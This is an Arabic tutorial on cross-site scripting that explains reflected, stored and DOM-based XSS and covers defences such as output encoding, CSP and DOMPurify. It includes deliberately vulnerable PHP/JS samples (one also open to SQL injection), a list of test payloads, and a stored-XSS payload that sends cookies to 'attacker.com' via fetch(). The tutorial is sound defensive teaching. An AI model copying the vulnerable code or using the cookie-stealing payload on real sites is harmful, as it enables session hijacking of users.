البرمجة النصية عبر المواقع (XSS)
البرمجة النصية عبر المواقع (XSS)
البرمجة النصية عبر المواقع (XSS) هي واحدة من أكثر ثغرات تطبيقات الويب شيوعًا وخطورة. تحدث هجمات XSS عندما يقوم المهاجم بحقن برامج نصية ضارة في صفحات الويب التي يشاهدها مستخدمون آخرون. تُنفذ هذه البرامج النصية في متصفح الضحية، مما قد يؤدي إلى سرقة ملفات تعريف الارتباط أو رموز الجلسة أو معلومات حساسة أخرى، أو تنفيذ إجراءات نيابة عن الضحية.
فهم XSS
تنشأ ثغرات XSS عندما تتضمن التطبيقات بيانات غير موثوقة في صفحات الويب دون التحقق من الصحة أو الهروب المناسب. لا يستطيع المتصفح التمييز بين البرامج النصية الشرعية من التطبيق والبرامج النصية الضارة المحقونة بواسطة المهاجم، لذلك ينفذ كليهما.
أنواع هجمات XSS
1. XSS المنعكس (غير المستمر)
يحدث XSS المنعكس عندما تنعكس البرامج النصية الضارة عن خادم الويب، عادةً من خلال معلمات URL أو عمليات إرسال النماذج. يقوم المهاجم بصياغة URL ضار وخداع الضحية للنقر عليه.
<?php
// معرض لـ XSS المنعكس
echo "نتائج البحث عن: " . $_GET['search'];
?>
URL ضار:
https://example.com/search?search=<script>alert(document.cookie)</script>
عندما ينقر الضحية على هذا الرابط، يتم تنفيذ البرنامج النصي في متصفحه.
2. XSS المخزن (المستمر)
يحدث XSS المخزن عندما يتم تخزين البرامج النصية الضارة بشكل دائم على الخادم المستهدف (في قاعدة بيانات، منتدى رسائل، حقل تعليق، إلخ) ويتم تقديمها لاحقًا للمستخدمين الآخرين. هذا عموماً أكثر خطورة من XSS المنعكس لأنه لا يتطلب من المهاجم تسليم الحمولة مباشرة إلى الضحايا.
<?php
// تخزين تعليق المستخدم دون تنظيف
$comment = $_POST['comment'];
$db->query("INSERT INTO comments (text) VALUES ('$comment')");
// لاحقًا، عرض التعليقات دون هروب
$comments = $db->query("SELECT text FROM comments");
foreach ($comments as $comment) {
echo $comment['text']; // خطير!
}
?>
يقدم المهاجم:
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>
يتم الآن تنفيذ هذا البرنامج النصي لكل مستخدم يشاهد التعليقات.
3. XSS القائم على DOM
يحدث XSS القائم على DOM عندما يقوم كود JavaScript من جانب العميل بمعالجة البيانات من مصدر غير موثوق (مثل URL) ويكتبها مرة أخرى إلى DOM بطريقة غير آمنة. توجد الثغرة بالكامل في كود جانب العميل، وقد لا يتم إرسال الحمولة الضارة أبدًا إلى الخادم.
// معرض لـ XSS القائم على DOM
const urlParams = new URLSearchParams(window.location.search);
const message = urlParams.get('message');
document.getElementById('output').innerHTML = message; // خطير!
URL ضار:
https://example.com/page?message=<img src=x onerror="alert(document.cookie)">
يتم تنفيذ الحمولة عندما يكتب JavaScript إلى innerHTML.
تقنيات منع XSS
1. ترميز/هروب الإخراج
الدفاع الأساسي ضد XSS هو ترميز بيانات الإخراج بناءً على السياق الذي سيتم استخدامه فيه. تتطلب السياقات المختلفة مخططات ترميز مختلفة:
<?php
// آمن: ترميز كيان HTML
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
?>
سياق JavaScript:
<script>
// آمن: ترميز JSON
const userName = <?php echo json_encode($userName); ?>;
</script>
سياق URL:
<a href="<?php echo urlencode($userInput); ?>">رابط</a>
سياق CSS:
<style>
body { background: <?php echo preg_replace('/[^a-zA-Z0-9#]/', '', $color); ?>; }
</style>
2. سياسة أمان المحتوى (CSP)
CSP هي ميزة أمان المتصفح التي تساعد في منع XSS من خلال السماح لك بتحديد مصادر المحتوى الموثوقة. يتم تنفيذه كرأس HTTP.
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline';
CSP صارم مع nonce:
Content-Security-Policy: script-src 'nonce-random123';
HTML:
<script nonce="random123">
// فقط البرامج النصية ذات nonce المطابق ستنفذ
</script>
تنفيذ PHP:
<?php
$nonce = base64_encode(random_bytes(16));
header("Content-Security-Policy: script-src 'nonce-$nonce'");
?>
<script nonce="<?php echo $nonce; ?>">
// برنامج نصي مضمن آمن
</script>
3. التحقق من صحة المدخلات
بينما يعد ترميز الإخراج هو الدفاع الأساسي، يوفر التحقق من صحة المدخلات طبقة أمان إضافية من خلال رفض المدخلات الضارة بوضوح:
// التحقق من القائمة البيضاء للتنسيق المتوقع
function validateEmail($email) {
return filter_var($email, FILTER_VALIDATE_EMAIL) !== false;
}
// رفض المدخلات التي تحتوي على علامات برنامج نصي
function containsScript($input) {
return preg_match('/<script[^>]*>.*?<\/script>/is', $input) === 1;
}
if (containsScript($_POST['comment'])) {
die('تم اكتشاف إدخال غير صالح');
}
?>
4. استخدام واجهات برمجة التطبيقات الآمنة
توفر أطر عمل الويب الحديثة وواجهات برمجة تطبيقات JavaScript بدائل أكثر أمانًا للوظائف الخطرة:
element.innerHTML = userInput; // خطير!
// آمن: textContent يدرج النص فقط، وليس HTML
element.textContent = userInput; // آمن
// آمن: createElement مع textContent
const div = document.createElement('div');
div.textContent = userInput;
parentElement.appendChild(div);
// لإدراج HTML موثوق، استخدم DOMPurify
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);
5. مكتبة DOMPurify
DOMPurify هو معقم XSS قوي لـ HTML وMathML وSVG. إنه مفيد بشكل خاص عندما تحتاج إلى السماح ببعض تنسيق HTML ولكنك تريد إزالة العناصر الخطرة:
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.0.0/dist/purify.min.js"></script>
<script>
const dirty = '<p>مرحبًا <script>alert(1)</script></p>';
const clean = DOMPurify.sanitize(dirty);
// النتيجة: <p>مرحبًا </p>
// مع خيارات للسماح بعلامات محددة
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'strong', 'em', 'a'],
ALLOWED_ATTR: ['href']
});
</script>
// من جانب الخادم مع PHP (باستخدام HTMLPurifier)
<?php
require_once 'HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$clean = $purifier->purify($dirty);
?>
الحماية الخاصة بالإطار
غالبًا ما تتضمن أطر عمل الويب الحديثة حماية XSS مدمجة:
const element = <div>{userInput}</div>; // آمن
// خطير (فقط إذا كنت تستخدمه صراحة):
const element = <div dangerouslySetInnerHTML={{__html: userInput}} />;
// Vue.js: استيفاء النص آمن
<div>{{ userInput }}</div> <!-- آمن -->
<div v-html="userInput"></div> <!-- خطير -->
// Laravel Blade: يهرب بشكل افتراضي
{{ $userInput }} <!-- آمن، مهروب -->
{!! $userInput !!} <!-- خطير، غير مهروب -->
// Angular: يعقم بشكل افتراضي
<div>{{ userInput }}</div> <!-- آمن -->
<div [innerHTML]="userInput"></div> <!-- معقم بشكل افتراضي -->
اختبار ثغرات XSS
يساعد الاختبار المنتظم في تحديد ثغرات XSS قبل أن يستغلها المهاجمون:
1. <script>alert('XSS')</script>
2. <img src=x onerror="alert('XSS')">
3. <svg onload="alert('XSS')">
4. '"><script>alert(String.fromCharCode(88,83,83))</script>
5. javascript:alert('XSS')
اختبار XSS القائم على DOM:
https://example.com/page?param=<script>alert(document.domain)</script>
اختبار XSS المخزن:
أرسل: <script>alert(document.cookie)</script>
ثم تحقق مما إذا كان ينفذ عند عرض المحتوى المخزن.
1. اسمح للمستخدمين بإرسال تعليقات مع تنسيق HTML أساسي (غامق، مائل، روابط)
2. نفذ منع XSS المناسب باستخدام DOMPurify
3. أضف رأس سياسة أمان المحتوى
4. اختبر مع 5 حمولات XSS مختلفة على الأقل
5. وثق طبقات الحماية التي منعت كل هجوم
مكافأة: نفذ وظائف التعليق المنعكس والمخزن، واختبر كل منهما بشكل منفصل.
تأثير XSS في العالم الحقيقي
يمكن أن تؤدي هجمات XSS إلى عواقب وخيمة:
- اختطاف الجلسة: سرقة ملفات تعريف ارتباط الجلسة لانتحال شخصية المستخدمين
- سرقة بيانات الاعتماد: إنشاء نماذج تسجيل دخول مزيفة لالتقاط كلمات المرور
- توزيع البرامج الضارة: إعادة توجيه المستخدمين إلى مواقع ضارة
- تسريب البيانات: الوصول إلى المعلومات الحساسة وسرقتها
- تشويه الموقع: تغيير محتوى الصفحة
- تعدين العملات المشفرة: استخدام متصفحات الزوار لتعدين العملات المشفرة
الخلاصة
يظل XSS أحد أكثر ثغرات الويب انتشارًا. فهم الأنواع الثلاثة - المنعكس والمخزن والقائم على DOM - أمر بالغ الأهمية للحماية الشاملة. تشمل استراتيجية الدفاع طبقات متعددة: ترميز الإخراج للسياق المحدد، رؤوس سياسة أمان المحتوى، التحقق من صحة المدخلات، استخدام واجهات برمجة التطبيقات الآمنة، والاستفادة من مكتبات التعقيم مثل DOMPurify. فضل دائمًا آليات الهروب التي يوفرها الإطار واختبر بدقة مع حمولات هجوم واقعية.